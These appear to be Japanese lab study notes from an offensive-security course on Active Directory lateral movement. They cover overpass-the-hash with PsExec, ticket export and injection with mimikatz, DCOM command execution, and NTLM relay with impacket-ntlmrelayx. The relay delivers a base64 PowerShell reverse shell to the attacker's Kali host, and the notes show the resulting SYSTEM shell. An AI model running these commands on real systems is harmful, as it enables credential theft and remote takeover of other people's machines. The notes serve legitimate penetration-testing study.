出力には、TGT と Common Internet File System (CIFS) サービスの TGS を含む Kerberos チケットが含まれています。 サーバーが krbtgt であるため、チケット #0 が TGT であることがわかります
これで、NTLMハッシュがKerberos TGTに変換され、NTLMではなくKerberos認証を利用するあらゆるツールを使用できるようになりました。
ここでは、Microsoft公式のPsExecアプリケーションを使用します。
PsExecはリモートでコマンドを実行できますが、パスワードハッシュは受け付けません。Kerberosチケットを生成し、PowerShellセッションでjenのコンテキストで操作しているため、TGTを再利用してfiles04ホスト上でコードを実行できます。
.\PsExec.exeを実行して、files04マシン上でjenとしてリモートからcmdを起動します。
PS C:\Windows\system32> cd C:\tools\SysinternalsSuite\
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\files04 cmd
C:\Windows\system32>whoami
corp\jen
C:\Windows\system32>hostname
FILES04
Pass the Ticket
このシナリオでは、ユーザーdaveの既存のセッションを悪用します。
CLIENT76にjenとしてログイン
mimikatz を起動し、デバッグ権限を有効にして、sekurlsa::tickets /export コマンドを使用してメモリからすべての TGT/TGS をエクスポート
下記コマンドは、メモリ内のLSASSプロセス空間を解析してTGT/TGSを検索し、kirbi mimikatz形式でディスクに保存
mimikatz #privilege::debug
Privilege '20' OK
mimikatz #sekurlsa::tickets /export
dirで確認できる
PS C:\Tools> dir *.kirbi
任意の TGS チケットを選択し、kerberos::ptt コマンドを使用して mimikatz に挿入することができます。
mimikatz # kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
* File: '[0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi': OK
実際に入っていることも確認できる。
PS C:\Tools> klist
DCOM
分散コンポーネントオブジェクトモデル(DCOM)を悪用する比較的最近のラテラルムーブメント手法
昇格されたPowerShellプロンプトから、GetTypeFromProgIDメソッドの2番目の引数としてFILES04のターゲットIPアドレスを指定することで、リモートMMC 2.0アプリケーションをインスタンス化できます。
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.50.73"))
アプリケーションオブジェクトが$dcom変数に保存されると、ExecuteShellCommandメソッドを介して必要な引数をアプリケーションに渡すことができます。
このメソッドは、Command、Directory、Parameters、WindowStateの4つのパラメータを受け取ります。ここで重要なのは、それぞれcmdと/c calcが設定される最初のパラメータと3番目のパラメータのみです。
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")
powershellのリバースシェルも入れることができる。
$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5A...
AC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA","7")
リレー攻撃
ntlmハッシュを中継して、別のマシンの認証を通す
--no-http-server HTTPサーバーを無効化
-smb2support SMB2サポートを有効化
最後に、Kaliマシンのポート9999に接続するPowerShellリバースシェルのワンライナーをBase64エンコードし、-cコマンドとして指定します。
┌──(kali㉿kali)-[~/beyond]
└─$ sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.225.242 -c "powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADIAMgA1ACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9A
コマンドはこれで生成
┌──(kali㉿kali)-[~/offsec/tool/powershell_reverse_shell]
└─$ python3 gen_reversh_shell.py
powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADIANAA5ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4
dir \192.168.119.2\test
と入力してくれるのを待つ
もしくは
┌──(kali㉿kali)-[~/offsec/tool/powershell_reverse_shell]
└─$ nc -lvnp 9999
listening on [any] 9999 ...
connect to [192.168.45.225] from (UNKNOWN) [192.168.225.242] 59864
PS C:\Windows\system32> whoami
nt authority\system
Discussion